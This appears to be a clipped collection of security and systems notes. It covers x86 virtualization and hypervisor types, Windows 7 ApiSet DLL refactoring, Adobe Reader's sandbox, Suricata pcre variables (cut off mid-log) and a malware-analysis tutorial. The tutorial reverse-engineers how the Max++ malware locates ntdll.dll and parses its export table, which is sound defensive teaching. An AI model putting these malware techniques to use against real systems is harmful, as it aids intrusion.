run entirely within the guest’s virtual-address space, which allows it easy
access to guest data, although the VMM’s instructions and data structures
might use a substantial amount of the guest’s virtual-address space.
Alternatively, the VMM could run in a separate address space, but even in that
case the VMM must use a minimal amount of the guest’s virtual-address space
for the control structures that manage transitions between guest software and
the VMM. \(For IA-32 these structures include the IDT and the GDT, which
reside in the linear-address space.\) The VMM must prevent guest access to
those portions of the guest’s virtual-address space that the VMM is using.
Otherwise, the VMM’s integrity could be compromised if the guest can write to
those portions, or the guest could detect that it is running in a virtual
machine if it can read them. Guest attempts to access these portions of the
address space must generate transitions to the VMM, which can emulate or
otherwise support them. The term addressspace compression refers to the
challenges of protecting these portions of the virtual-address space and
supporting guest accesses to them.

To sum up, if you wanted to construct a VMM and use trap-and-emulate to
virtualize the guest, x86 would fight you.

<img src='img/9379_giphy.gif' width='400px' height='auto' alt='List of
Sensitive, Unprivileged x86 Instructions' />

## Some solutions

As we have seen before, due to the rise of personal workstations and decline
of mainframe computers, virtual machines were considered nothing more than an
interesting footnote in the history of computing. Because of this, the x86 was
designed without much consideration for virtualization. Thus, it is
unsurprising that the x86 fails to meet Popek and Goldberg’s requirements for
being classically virtualizable. However, techniques were developed to
circumvent the shortcomings in x86 virtualization. We will briefly touch upon
the different techniques as we have reserved chapters which dissect in detail
how each works.

### Full Virtualization

It provides virtualization without modifying the guest OS. It relies on
techniques, such as `binary translation` \(BT\) to trap and virtualize the
execution of certain sensitive and non-virtualizable instructions. With this
approach, the critical instructions are discovered \(statically or dynamically
at runtime\) and replaced with traps into the VMM that are to be emulated in
software.

`VMware` did the first implementation \(in 1998\) of this technique that can
virtualize any x86 operating system. In brief, VMWare made use of binary
translation and direct execution which involves translating kernel code to
replace non-virtualizable instructions with new sequences of instructions that
have the intended effect on the virtual hardware. Meanwhile, user level code
is directly executed on the processor for high performance virtualization.

### Paravirtualization \(PV\)

Under this technique the guest kernel is modifed to run on the VMM. In other
terms, the guest kernel knows that it's been virtualized. The privileged
instructions that are supposed to run in ring 0 have been replaced with calls
known as `hypercalls`, which talk to the VMM. The hypercalls invoke the VMM to
perform the task on behalf of the guest kernel. As the guest kernel has the
ability to communicate directly with the VMM via hypercalls, this technique
results in greater performance compared to full virtualization. However, this
requires specialized guest kernel which is aware of paravirtualization
technique and come with needed software support, in addition to that, PV will
only work if the guest OS can actually be modified, which is obviously not
always the case \(proprietary OS\), as a consequence, paravirtualization could
resulrs on poor compatibily and support for legacy OSs. A leading
paravirtualization system is `Xen`.

### Hardware assisted virtualization \(HVM\)

Even though full virtualization and paravirtualization managed to solve the
problem of the non classical virtualization of x86, those techniques were like
workarounds, due to the performance overhead, compatibilty and complexity in
designing and maintaining such VMMs. For this reason, Intel and AMD had to
design an efficient virtualization platform which fix the root issues and
prevented x86 from being classically virtualazable. In 2005, both leading chip
manufacturers have rolled out hardware virtualization support for their
processors. Intel calls its `Virtualization Technology (VT)`, AMD calls it
`Secure Virtual Machine (SVM)`. The idea behind these is to extend the x86 ISA
with new instructions and create a new mode where the VMM will be more
privileged, you can think of it as `ring -1` above ring 0, allowing the OS to
stay where it expects to be and catching attempts to access the hardware
directly. In implementation, more than one ring is added, but the important
thing is that there is an extra privilege mode where a hypervisor can trap and
emulate operations that would previously have silently failed. Currently, all
modern hypervisors \(Xen, KVM, HyperV, …\) uses mainly HVM.

Consider that a hybrid virtualization is common nowadays, for example instead
of running HVM for CPU virtualization and emulating IO devices \(with
`Qemu`\), it would be more performance-wise to use paravirtualization for IO
devices virtualization because it can use lightweight interfaces to devices,
rather than relying on emulated hardware. We will get into this in later
chapters.

## Type of Hypervisors

We distinguish three classes of hypervisors.

  * Bare Metal Hypervisors \(also known as type 1, like Xen, VMWare ESXi, Hyper-V\)
  * Late Launch/Hosted Hypervisors \(also known as type 2, like VirtualBox, VMWare Workstation\)
  * Host-Only Hypervisors \(no guests, like SimpleVisor, HyperPlatform, kvm\).

Hypervisors are mainly categorized based on where they reside in the system
or, in other terms, whether the underlying OS is present in the system or not.
But there is no clear or standard defnition of Type 1 and Type 2 hypervisors.
Type 1 hypervisors runs directly on top of the hardware, for this reason they
are called bare metal hypervisors. An operating OS is not required since it
runs directly on a physical machine. In type 2, sometimes referred to as
hosted hypervisors, the hypervisor/VMM executes in an existing OS, utilizing
the device drivers and system support provided by the OS \(Windows, Linux or
OS X\) for memory management, processor scheduling, resource allocation, very
much like a regular process. When it starts for the first time, it acts like a
newly booted computer and expects to find a DVD/CD-ROM or an USB drive
containing an OS in the drive. This time, however, the drive could be a
virtual device. For instance, it is possible to store the image as an ISO file
on the hard drive of the host and have the hypervisor pretend it is reading
from a proper DVD drive. It then installs the operating system to its virtual
disk \(again really just a Windows, Linux, or OS X file\) by running the
installation program found on the DVD. Once the guest OS is installed on the
virtual disk, it can be booted and run.

In reality, this distinction between type 1 and type 2 hyeprvisors does not
make really much sense as type 1 hypervisors require also an OS of some sort,
typically a small linux \(for Xen and ESX for example\). I just wanted to show
this distinction as you would cross it when reading any virtualization course.

<img src='img/zcBClDR.png' width='600px' height='auto' alt='Type 1 vs Type 2
Virtualization' />

The last type of hypervisors have a different purpose than running other OSs,
instead, they are used as an extra layer of protection to the existing running
OS. This type of virtualization is usually seen in anti-viruses, sandboxers or
even rootkits.

In this chapter, you have gained a general idea of what virtualization is
about, its advantages, and the different types of hypervisors. We also
discussed the problems which made x86 not classically virtualizable and
discussed some solutions adopted by hypervisors to overcome it. In the next
chapters, we will get deeper into the different methods of virtualization and
how popular hypervisors implemented them.

## References

  * A Comparison of Software and Hardware Techniques for x86.
  * Modern Operating Systems \(4th edition\).
  * The Evolution of an x86 Virtual Machine Monitor.
  * Understanding Full Virtualization, Paravirtualization and Hardware Assisted Virtualization.
  * Mastering KVM Virtualization.
  * The Definitive Guide to the Xen Hypervisor.

-
-
  

# An In-Depth Study of More Than Ten Years of Java Exploitation

**Created:**| _5/7/2017 10:52:35 AM_  
---|---  
**Updated:**| _5/7/2017 10:53:05 AM_  
**Author:**| __  
**Tags:**| _Exploit papers Java_  
  

  
<img src='img/holzinger2016java.pdf' />  

# TrustedSource - Blog - Windows 7 – Kernel API Refactoring

**Created:**| _1/6/2010 11:24:30 AM_  
---|---  
**Updated:**| _1/6/2010 11:24:43 AM_  
**Author:**| __  
**Tags:**| _windows reversing_  
  

## Windows 7 – Kernel API Refactoring

January 5th, 2010  

After the public release of Microsoft Windows 7, I saw many people were
curious about and showed great interest in “MinWin”, but most of them were not
able to understand or explain it correctly and they often confused “MinWin”
with “Server Core”. So what does exactly the term “MinWin” mean?  
One of Microsoft goals for Windows Server 2008, “Server Core” \(formerly known
as “Server Foundation”\) is a variant with a sub-set of the entire Windows
operating system that contains enough components to run various common server
roles, such as AD, DNS, DHCP Server and IIS. On the other hand, the “MinWin”
is a small, self-contained operating system that has no dependencies on
higher-level components, and is most well-known for being minimalistic, self-
contained set of Windows components was shipped as part of Windows 7.  
One Microsoft Windows developer describes “MinWin” as “refactoring code along
architectural layering lines”. Actually from Windows Vista \(some of the
componentization and refactoring work was already shipped with Windows Vista\)
which is arguably the first “MinWin” based operating system, every component
of the operating system was assigned a “layer number” that represents its
dependency position relative to other components, with more lower-numbered
components being more closer to the core of the operating system, and “code
refactoring” need to be done by the core architecture team to resolve the
dependency issues where low-level components were reliant on high-level
components. Next let’s look at how this “layering” and “code refactoring” are
implemented in Windows 7 by using an example.

<img src='img/Temp2_8480.jpg' />

From the screenshot above \(kernel32.dll opened in dependency walker
utility\), we can see that Windows 7 introduces a set of new DLL files which
export many well-known Win32 APIs, the newly introduced DLLs include
kernelbase.dll \(Windows NT BASE API Client DLL\) and 34 hidden ApiSet Stub
DLLs \(listed below\), and each such stub DLL belongs to a separate function
category as its name indicates. For example, api-ms-win-core-
processthreads-l1-1-0.dll exports process/thread related APIs
\(CreateProcessA/W, CreateRemoteThread etc\), and api-ms-win-core-
heap-l1-1-0.dll exports user-mode heap management APIs \(HeapCreate, HeapAlloc
etc\).

ApiSet Stub DLLs:  
api-ms-win-core-console-l1-1-0.dll  
api-ms-win-core-datetime-l1-1-0.dll  
api-ms-win-core-debug-l1-1-0.dll  
api-ms-win-core-delayload-l1-1-0.dll  
api-ms-win-core-errorhandling-l1-1-0.dll  
api-ms-win-core-fibers-l1-1-0.dll  
api-ms-win-core-file-l1-1-0.dll  
api-ms-win-core-handle-l1-1-0.dll  
api-ms-win-core-heap-l1-1-0.dll  
api-ms-win-core-interlocked-l1-1-0.dll  
api-ms-win-core-io-l1-1-0.dll  
api-ms-win-core-libraryloader-l1-1-0.dll  
api-ms-win-core-localization-l1-1-0.dll  
api-ms-win-core-localregistry-l1-1-0.dll  
api-ms-win-core-memory-l1-1-0.dll  
api-ms-win-core-misc-l1-1-0.dll  
api-ms-win-core-namedpipe-l1-1-0.dll  
api-ms-win-core-processenvironment-l1-1-0.dll  
api-ms-win-core-processthreads-l1-1-0.dll  
api-ms-win-core-profile-l1-1-0.dll  
api-ms-win-core-rtlsupport-l1-1-0.dll  
api-ms-win-core-string-l1-1-0.dll  
api-ms-win-core-synch-l1-1-0.dll  
api-ms-win-core-sysinfo-l1-1-0.dll  
api-ms-win-core-threadpool-l1-1-0.dll  
api-ms-win-core-util-l1-1-0.dll  
api-ms-win-core-xstate-l1-1-0.dll  
api-ms-win-security-base-l1-1-0.dll  
api-ms-win-security-lsalookup-l1-1-0.dll  
api-ms-win-security-sddl-l1-1-0.dll  
api-ms-win-service-core-l1-1-0.dll  
api-ms-win-service-management-l1-1-0.dll  
api-ms-win-service-management-l2-1-0.dll  
api-ms-win-service-winsvc-l1-1-0.dll

<img src='img/Temp2_8482.jpg' />

Here we can see clearly that Kernel32\!OpenProcess will not do much work
actually, it simply jumps to OpenProcess\_0 which is imported from one of the
stub DLLs \(api-ms-win-core-synch-l1-1-0.dll\).

<img src='img/Temp2_8476.jpg' />

The IDA Pro and Dependency Walker show this dependency explicitly, however
when we further look into the disassembly code of api-ms-win-core-
synch-l1-1-0\!OpenProcess, we will be surprised to find the function is
actually an empty function which just returns 0, and all its exported
functions with 3 arguments share the same function stub \(see the screenshot
below\). So how does Kernel32\!OpenProcess work properly if it is resolved to
an empty function?

<img src='img/Temp2_8481.jpg' />

The secret lies in the DLL loading process, Windbg debugging output tells us
Kernel32\!OpenProcess will not jump to api-ms-win-core-
synch-l1-1-0\!OpenProcess at runtime, and the import table entry of
OpenProcess is actually filled with the address of Kernelbase\!OpenProcess,
and all api-ms-win-\*.dll are never loaded into the process address space
\(refer to \!peb output\)

<img src='img/Temp2_8479.jpg' />

<img src='img/Temp2_8477.jpg' />

The real implementation code was moved from Kernel32\!OpenProcess to
Kernelbase\!OpenProcess \(see below\), which further invokes
Ntdll\!ZwOpenProcess. In fact, not only OpenProcess, most Win32 APIs have been
undergone the same “refactoring along architectural layering lines”.

<img src='img/Temp2_8478.jpg' />

In my next blog on Windows 7 internals, we are going to look inside a cool
feature of Windows 7 – “XP Mode”, please stay tuned.

# Dr. Fu's Security Blog: Malware Analysis Tutorial 8: PE Header and Export
Table

**Created:**| _1/3/2012 4:19:21 PM_  
---|---  
**Updated:**| _1/3/2012 4:19:21 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis Tutorial 8: PE Header and Export Table

**Learning Goals** :  
  

  1. Understand the portable executable \(PE\) header of binary executables.
  2. Understand the EXPORT TABLE.
  3. Practice disassemble and reverse engineering techniques.

**Applicable to:**  

  1. Operating Systems.
  2. Computer Security.

  
_**1\. Introduction**_  
  
In this tutorial, we will analyze the first harmful operation performed by
Max++. It changes the structure of the export table of ntdll.dll. Recall the
analysis of Max++ in Tutorial 7, the malware reads the information in TIB and
PEB, and examines the loaded modules one by one, until it encounters
"ntdll.dll" \(this is accomplished using a checksum function inside a two
layer nested loop\).  
  
In this tutorial, we will reverse engineer the code starting at 0x40105C.  
  
_**2\. Background Information of PE Header**_  
Any binary executable file \(no matter on Unix or Windows\) has to include a
header to describe its structure: e.g., the base address of its code section,
data section, and the list of functions that can be exported from the
executable, etc. When the file is executed by the operating system, the OS
simply reads this header information first, and then loads the binary data
from the file to populate the contents of the code/data segments of the
address space for the corresponding process. When the file is dynamically
linked \(i.e., the system calls it relies on are not statically linked in the
executable\), the OS has to rely on its import table to determine where to
find the entry addresses of these system functions.  
  
Most binary executable files on Windows follows the following structure:
_**DOS Header**_ \(64 bytes\), _**PE Header**_ , _**sections**_\(code and
data\). For a complete survey and introduction of the executable file format,
we recommend Goppit's "Portable Executable File Format - A Reverse Engineering
View" \[1\].  
  
DOS Header starts with magic number _**4D 5A 50 00**_ , and the last 4 bytes
is the location of PE header in the binary executable file. Other fields are
not that interesting. The PE header contains significantly more information
and more interesting. In Figure 1, please find the structure of PE Header. We
only list the information that are interesting to us in this tutorial. For a
complete walk-through, please refer to Goppit's work \[1\].  
  
<img src='img/Temp2_2428.jpg' width='640px' height='480px' />  
---  
Figure 1. Structure of PE Header  
At run time of a binary executable, Windows loader actually loads the PE
header into a process's address space. There are some well defined data
structures defined in winnt.h for each of the major part of the PE header.  
  
As shown in Figure 1, PE header consists of three parts: \(1\) a 4-byte magic
code, \(2\) a 20-byte file header and its data type is IMAGE\_FILE\_HEADER,
and \(3\) a 224-byte optional header \(type: IMAGE\_OPTIONAL\_HEADER32\). The
optional header itself has two parts: the first 96 bytes contain information
such as major operating systems, entry point, etc. The second part is a data
directory of 128 bytes. It consists of 16 entries, and each entry has 8 bytes
\(address, size\).  
  
We are interested in the first two entries: one has the pointer to the
beginning of the export table, and the other points to the import table.  
**  
**  
**2.1 Debugging Tool Support \(Small Lab Experiments\)**  
Modern binary debuggers have provided sufficient support for examining PE
headers. We discuss the use of WinDbg and Immunity Debugger.  
  
\(1\) WinDbg. Assume that we know that the PE structure of ntdll.dll is
located at memory address 0x7C9000E0. We can display the second part: file
header using the following.  
  

dt nt\!\_IMAGE\_FILE\_HEADER 0x7c9000e4

+0x000 Machine : 0x14c

+0x002 NumberOfSections : 4

+0x004 TimeDateStamp : 0x4802a12c

+0x008 PointerToSymbolTable : 0

+0x00c NumberOfSymbols : 0

+0x010 SizeOfOptionalHeader : 0xe0

+0x012 Characteristics : 0x210e

  
  
Then we can calculate the starting address of the optional header: 0x7C9000E4
+ 0x14 \(20 bytes\) = 0x7C9000F8. The attributes of optional header is
displayed as below. For example, the major linker version is 7 and the the
address of entry point is 0x12c28 \(relative of the base address 0x7c900000\).  
  
  

kd> dt \_IMAGE\_OPTIONAL\_HEADER 0x7c9000F8

nt\!\_IMAGE\_OPTIONAL\_HEADER

+0x000 Magic : 0x10b

+0x002 MajorLinkerVersion : 0x7 ''

+0x003 MinorLinkerVersion : 0xa ''

+0x004 SizeOfCode : 0x7a000

+0x008 SizeOfInitializedData : 0x33a00

+0x00c SizeOfUninitializedData : 0

+0x010 AddressOfEntryPoint : 0x12c28

+0x014 BaseOfCode : 0x1000

+0x018 BaseOfData : 0x76000

+0x01c ImageBase : 0x7c900000

+0x020 SectionAlignment : 0x1000

+0x024 FileAlignment : 0x200

+0x028 MajorOperatingSystemVersion : 5

+0x02a MinorOperatingSystemVersion : 1

+0x02c MajorImageVersion : 5

+0x02e MinorImageVersion : 1

+0x030 MajorSubsystemVersion : 4

+0x032 MinorSubsystemVersion : 0xa

+0x034 Win32VersionValue : 0

+0x038 SizeOfImage : 0xaf000

+0x03c SizeOfHeaders : 0x400

+0x040 CheckSum : 0xb62bc

+0x044 Subsystem : 3

+0x046 DllCharacteristics : 0

+0x048 SizeOfStackReserve : 0x40000

+0x04c SizeOfStackCommit : 0x1000

+0x050 SizeOfHeapReserve : 0x100000

+0x054 SizeOfHeapCommit : 0x1000

+0x058 LoaderFlags : 0

+0x05c NumberOfRvaAndSizes : 0x10

+0x060 DataDirectory : \[16\] \_IMAGE\_DATA\_DIRECTORY

  
As shown by Goppit \[1\], OllyDbg can display PE structure nicely. Since the
Immunity Debugger is based on OllyDbg, we can achieve the same effect. In IMM
View -> Memory, we can easily locate the starting address of each module
\(e.g., see Figure 2\).  
  
  
<img src='img/Temp2_2429.jpg' width='640px' height='324px' />  
---  
Figure 2. Getting PE Header Address  
Then in the memory dump window, jump to the starting address of the PE of
ntdll.dll. Then right click in the dump pane, and select _**special - > PE**_,
we can have all information nicely presented by IMM.  
  

<img src='img/Temp2_2430.jpg' />

  
  
  
_**3\. Export Table**_  
  
Recall that the first entry of IMAGE\_DATA\_DIRECTORY of the optional header
field contains information about the export table. By Figure 1, you can soon
infer that the 4 bytes located at PE + _**0x78**_ \(i.e., offset 120 bytes\)
is the relative address \(relative to DLL base address\) of the export table,
and the next byte \(at offset _**0x7C**_\) is the size of the export table.  
  
The data type for the export table is _**IMAGE\_EXPORT\_DIRECTORY**_.
Unfortunately, the WinDbg symbol set does not include the definition of this
data structure, but you can easily find it in winnt.h through a google search
\(e.g., from \[2\]\). The following is the definition of
IMAGE\_EXPORT\_DIRECTORY from \[2\].  
  
typedef struct \_IMAGE\_EXPORT\_DIRECTORY \{  
DWORD Characteristics; //offset 0x0  
DWORD TimeDateStamp; //offset 0x4  
WORD MajorVersion; //offset 0x8  
WORD MinorVersion; //offset 0xa  
DWORD Name; //offset _**0xc**_  
DWORD Base; //offset 0x10  
DWORD _**NumberOfFunctions**_ ; //offset 0x14  
DWORD _**NumberOfNames**_ ; //offset 0x18  
DWORD _**AddressOfFunctions**_ ; //offset 0x1c  
DWORD _**AddressOfNames**_ ; //offset 0x20  
DWORD _**AddressOfNameOrdinals**_ ; //offset 0x24  
\}  
  
Here, we need some manual calculation of addresses for each attribute for our
later analysis. In the above definition, WORD is a computer word of 16 bites
\(2bytes\), and DWORD is 4 bytes. We can easily infer that, MajorVersion is
located at offset 0x8, and AddressOfFunctions is located at offset 0x1c.  
  
Now assume that IMAGE\_EXPORT\_DIRECTORY is located at 0x7C903400, the
following is the dump from WinDbg \(here "dd" is to display memory\):  
  
kd> dd 7c903400  
7c903400 00000000 48025c72 00000000 _**00006786**_  
7c903410 00000001 00000523 _**00000523**_ 00003428  
7c903420 _**000048b4**_ 00005d40 00057efb 00057e63  
7c903430 00057dc5 00002ad0 00002b30 00002b40  
7c903440 00002b20 0001eb58 0001ebb9 0001e3af  
7c903450 0002062d 000206ee 0004fe3a 00012d71  
7c903460 000211e7 0001eaff 0004fe2f 0004fdaa  
7c903470 0001b08a 0004febb 0004fe6d 0004fde6  
  
We can soon infer that there are 0x523 functions exposed in the export table,
and there are 0x523 names exposed. Why? Because the NumberOfFunctions is
located at offset 0x14 \(thus its address is 0x7c903400+0x14 = 0x7c903414\)
For another example, look at the attribute "Name" which is located at offset
0xc \(i.e., its address: 0x7c90340c\), we have number 0x00006787. This is the
address relative to the base DLL address \(assume it is 0x7c900000\). Then we
have the name of the module located at 0x7c906786. We can verify using the
"db" command in WinDbg \(display memory contents as bytes\): you can verify
that the module name is indeed ntdll.dll.  
  
  
kd> db 7c906786  
7c906786 6e 74 64 6c 6c 2e 64 6c-6c 00 43 73 72 41 6c 6c
_**ntdll.dll**_.CsrAll  
7c906796 6f 63 61 74 65 43 61 70-74 75 72 65 42 75 66 66 ocateCaptureBuff  
  
Read page 26 of \[1\], you will find that the "AddressOfFunctions",
"AddressOfNames", and "AddressOfNameOdinals" are the most important
attributes. There are three arrays \(shown as below\), and each of the above
attributes contains one corresponding starting address of an array.  
  

PVOID Functions\[523\]; //each element is a function pointer

char \* Names\[523\]; //each element is a char \* pointer

short int Ordinal\[523\]; //each element is an _**16 bit**_ integer

  
For example, by manual calculation we know that the _**Names**_ array starts
at 7C9048B4 \(given the 0x48B4 located at offset 0x20, for attribute
AddressOfNames; and assuming the base address is 0x7C900000\). We know that
each element of the Names array is 4 bytes. here is the dump of the first 8
elements:  
kd> dd 7c9048b4  
7c9048b4 00006790 000067a9 000067c3 000067db  
7c9048c4 00006807 0000681f 00006831 00006845  
  
We can verify the first name \(00006790\): It's CsrAllocateCaptureBuffer. Note
that a "0" byte is used to terminate a string.  
kd> db 7c906790  
7c906790 43 73 72 41 6c 6c 6f 63-61 74 65 43 61 70 74 75 **CsrAllocateCaptu**  
7c9067a0 72 65 42 75 66 66 65 72-**00** 43 73 72 41 6c 6c 6f
**reBuffer**.CsrAllo  
  
We can also verify the second name \(000067a9\): It's
CsrAllocateMessagePointer.  
kd> db 7c9067a9  
7c9067a9 43 73 72 41 6c 6c 6f 63-61 74 65 4d 65 73 73 61 **CsrAllocateMessa**  
7c9067b9 67 65 50 6f 69 6e 74 65-72 **00** 43 73 72 43 61 70
**gePointer**.CsrCap  
  
Now, given a Function name, how do we find its entry address? The following is
the formula:  
Note that array index starts from 0.  
Assume Names\[x\].equals\(FunctionName\)  
Function address is Functions\[Ordinal\[x\]\]  
  
_**4\. Challenge1 of the Day**_  
The first sixteen elements of the Ordinal is shown below:  
kd> dd 7c905d40  
7c905d40 00080007 000a0009 000c000b 000e000d  
7c905d50 0010000f 00120011 00140013 00160015  
  
The first eight elements of the Functions array is shown below:  
kd> dd 7c903428  
7c903428 00057efb 00057e63 00057dc5 00002ad0  
7c903438 00002b30 00002b40 00002b20 0001eb58  
  
  
What is the entry address of function CsrAllocateCaptureBuffer? The answer is:
it's 7C91EB58. Think about why? \(Pay special attention to the byte order of
integers\).  
  
  
_**5\. Analysis of Code**_  
We now start to analyze the code, starting at _**0x40105C**_. Set a hardware
breakpoint at 0x40105C \(in code pane, right click -> Go To Expression
\(0x40105c\) and then right click -> breakpoints -> hardware, on execution\).
Press F9 to run to the point. The first instruction should be PUSH
DS:\[EAX+8\]. If you see a bunch of BYTE DATA instructions, that's caused by
the byte scission of the code. Highlight all these BYTE DATA instructions,
right click -> Treat as Command during next analysis and we should have the
correct disassembly displayed in IMM.  
  
<img src='img/Temp2_2427.jpg' />  
---  
Figure 4: Accessing Export Table  
  
  
Now let us analyze the first couple of instructions starting at
_**0x40105C**_\(in Figure 4\). Continuing the analysis of Tutorial 7, we know
that after reading the module information \(one by one\), the code jumps out
of the loop when it encounters the ntdll.dll. At this moment, EAX contains the
address of offset 0x18 of LDR\_DATA\_TABLE\_ENTRY. In another word, EAX points
to the attribute "DllBase". Thus, the instruction at 0x40105C, i.e., _**PUSH
DWORD DS:\[EAX+8\]**_ is to push the DllBase into the stack. Executing this
command, you will find that _**0x7C900000**_ appearing on top of the stack.  
  
The control flow soon jumps to 0x401077 and 0x401078. It soon follows that at
0x401070, ECX now has value 0x7C90000 \(the DLL base\). Now consider the
instruction 0x40107A:  
_**MOV EAX, DWORD PTR DS:\[ECX+3C\]**_  
  
Recall that the beginning of a PE file is the DOS header \(which is 64 bytes\)
and the last 4 bytes of the DOS header contains the location of the PE header
\(offset relative to the DLL base\) \[see Section 2\]. Hex value 0x3C is
decimal value 60\! So we now have EAX containing of PE offset. Observing the
registry pane, we have EAX = 0xE0. We then infer that _**PE header**_ is
located at _**0x7C9000E0**_\(which is 0x7C900000 base + offset 0xE0\).  
  
Now observe instruction at 0x401087:  
_**MOV ESI, DWORD PTR DS:\[EAX+78\]**_  
  
Note the offset 0x78, its decimal value is 120. From Figure 1, we can soon
infer that offset 0x78 is the address of the EXPORT table data entry in the
IMAGE\_DATA\_DIRECTORY of the optional header. Thus, ESI now contains the
entry address of the export table \(offset relative to DLL base\) \! After
instruction at 0x40108c, Its value is now _**0x7C903400 \(starting address of
EXPORT TABLE\)**_.  
  
  
_**5\. Challenge of the Day**_  
We have demonstrated to you some basic analysis techniques to reverse engineer
the malicious logic. Now your job is to continue our analysis and explain what
the Max++ malware is trying to do. Specifically, you can follow the road-map
below:  
\(1\) What does function 0x004138A8 do? What are its input parameters?  
\(2\) Which data fields of the export table are the instructions between
0x4010AD and 0x4010C4 accessing?  
\(3\) Explain the meaning of EDX\*+C in the instruction at 0x4010BB.  
\(4\) Explain the logic of 0x4010CB to 0x4010F6.  
\(5\) What is the purpose of the loop from 0x401103 to 0x401115?  
\(6\) What does function 0x40165E do? What are its input parameters?  
\(7\) Explain the code between 0x401117 and 0x40113E.  
_**  
**_  
_**References**_  
1\. Goppit, "Portable Executable Format - a Reverse Enginnering View",
v1\(2\), Code Breakers Magzine, January 2006.  
2\. An online copy of winnt.h, Available at
http://source.winehq.org/source/include/winnt.h

# Introducing Adobe Reader Protected Mode « Adobe Secure Software Engineering
Team \(ASSET\) Blog

**Created:**| _7/20/2010 7:33:50 PM_  
---|---  
**Updated:**| _7/20/2010 7:34:12 PM_  
**Author:**| __  
**Tags:**| _setup windows security Malware-analysis pdf software_  
  

# Introducing Adobe Reader Protected Mode

### by Brad Arkin

### Created

July 20, 2010

In May 2009, I announced the major Adobe Reader and Acrobat security
initiative that was already underway. The three main areas of focus of that
initiative were code hardening, incident response process improvements, and a
shift to a regular security update schedule. From our rapid incident response
in urgent situations to the new Adobe Reader Updater, our investments in these
areas are helping to keep our users safe.

As part of our commitment to product security, we are always investigating new
technologies and approaches. Today, I’m very excited to share an example of a
new mitigation technology and to start the public conversation around the next
major step Adobe is taking to help protect users from attacks in a rapidly
evolving threat landscape: Adobe Reader Protected Mode.

Scheduled for inclusion in the next major version release of Adobe Reader,
Protected Mode is a sandboxing technology based on Microsoft’s Practical
Windows Sandboxing technique. It is similar to the Google Chrome sandbox and
Microsoft Office 2010 Protected Viewing Mode. Adobe has been working closely
with David LeBlanc, Dan Jump and other members of the Microsoft Office
security team, Nicolas Sylvain and the Chrome team at Google, as well as
third-party consultancies and other external stakeholders to leverage their
sandboxing knowledge and experience. We greatly appreciate the input and
support from all of our partners and friends in the community who helped with
this effort.

With Adobe Reader Protected Mode enabled \(it will be by default\), all
operations required by Adobe Reader to display the PDF file to the user are
run in a very restricted manner inside a confined environment, the “sandbox.”
Should Adobe Reader need to perform an action that is not permitted in the
sandboxed environment, such as writing to the user’s temporary folder or
launching an attachment inside a PDF file using an external application \(e.g.
Microsoft Word\), those requests are funneled through a “broker process,”
which has a strict set of policies for what is allowed and disallowed to
prevent access to dangerous functionality.

The initial release of Adobe Reader Protected Mode will be the first phase in
the implementation of the sandboxing technology. This first release will
sandbox all “write” calls on Windows 7, Windows Vista, Windows XP, Windows
Server 2008, and Windows Server 2003. This will mitigate the risk of exploits
seeking to install malware on the user’s computer or otherwise change the
computer’s file system or registry. In future releases of Adobe Reader, we
plan to extend the sandbox to include read-only activities to protect against
attackers seeking to read sensitive information on the user’s computer.

Adobe Reader Protected Mode represents an exciting new advancement in attack
mitigation. Even if an exploitable security vulnerability is found by an
attacker, Adobe Reader Protected Mode will help prevent the attacker from
writing files, changing registry keys or installing malware on potential
victims’ computers.

This post is just the beginning of our public conversation around Adobe Reader
Protected Mode. We look forward to continuing the conversation — in person at
upcoming security conferences or via this blog. Watch for more details as work
progresses.

# Suricata bits, ints and vars

**Created:**| _12/21/2016 9:13:50 AM_  
---|---  
**Updated:**| _12/21/2016 9:13:50 AM_  
**Author:**| __  
**Tags:**| _iDS/iPS_  
  

  

# Suricata bits, ints and vars

Posted on 20/12/2016

Since the beginning of the project we’ve spoken about variables on multiple
levels. Of course flowbits defined by the Snort language came first, but other
flow based variables quickly followed: flowints for basic counting, and vars
for extracting data using pcre expressions.

I’ve always thought of the pcre data extraction using substring capture as a
potentially powerful feature. However the implementation was lacking. The
extracted data couldn’t really be used for much.

## Internals

Recently I’ve started work to address this. The first thing that needed to be
done was to move the mapping between variable names, such as flowbit names,
and the internal id’s out of the detection engine. The detection engine is not
available in the logging engines and logging of the variables was one of my
goals.

This is a bit tricky as we want a lock less data structure to avoid runtime
slow downs. However rule reloads need to be able to update it. The solution
I’ve created has a read only look up structure after initialization that is
‘hot swapped’ with the new data at reload.

## PCRE

The second part of the work is to allow for more flexible substring capture.
There are 2 limitations in the current code: **first** , only single substring
can be captured per rule. **Second** , the names of the variables were limited
by libpcre. 32 chars with hardly any special chars like dots. The way to
express these names has been a bit of a struggle.

The old way looks like this:

1| `pcre:``"/(?P.*)<somename>/"``;`  
---|---  
This create a flow based variable named ‘somename’ that is filled by this pcre
expression. The ‘flow\_’ prefix can be replaced by ‘pkt\_’ to create a packet
based variable.

In the new method the names are no longer inside the regular expression, but
they come after the options:

123| `pcre:"/([a-z]+)\/[a-z]+\/(.+)\/(.+)\/changelog$/GUR, \``
``flow:ua/ubuntu/repo,flow:ua/ubuntu/pkg/base, \``
``flow:ua/ubuntu/pkg/version";`  
---|---  
After the regular pcre regex and options, a comma separated lists of variable
names. The prefix here is ‘flow:’ or ‘pkt:’ and the names can contain special
characters now. The names map to the capturing substring expressions in order.

## Key/Value

While developing this a logical next step became extraction of key/value
pairs. One capture would be the key, the second the value. The notation is
similar to the last:

1| `pcre:``"^/([A-Z]+) (.*)\r\n/G, pkt:key,pkt:value"``;`  
---|---  
‘key’ and ‘value’ are simply hardcoded names to trigger the key/value
extraction.

## Logging

Things start to get interesting when logging is added. First, by logging
flowbits existing rulesets can benefit.

12345678910111213141516171819202122232425262728293031323334353637| `{``
``"timestamp"``: ``"2009-11-24T06:53:35.727353+0100"``,`` ``"flow_id"``:
1192299914258951,`` ``"event_type"``: ``"alert"``,`` ``"src_ip"``:
``"69.49.226.198"``,`` ``"src_port"``: 80,`` ``"dest_ip"``:
``"192.168.1.48"``,`` ``"dest_port"``: 1077,`` ``"proto"``: ``"TCP"``,``
``"tx_id"``: 0,`` ``"alert"``: {`` ``"action"``: ``"allowed"``,`` ``"gid"``:
1,`` ``"signature_id"``: 2018959,`` ``"rev"``: 2,`` ``"signature"``: ``"ET
POLICY PE EXE or DLL Windows file download HTTP"``,`` ``"category"``:
``"Potential Corporate Privacy Violation"``,`` ``"severity"``: 1`` ``},``
``"http"``: {`` ``"hostname"``: ``"69.49.226.198"``,`` ``"url"``:
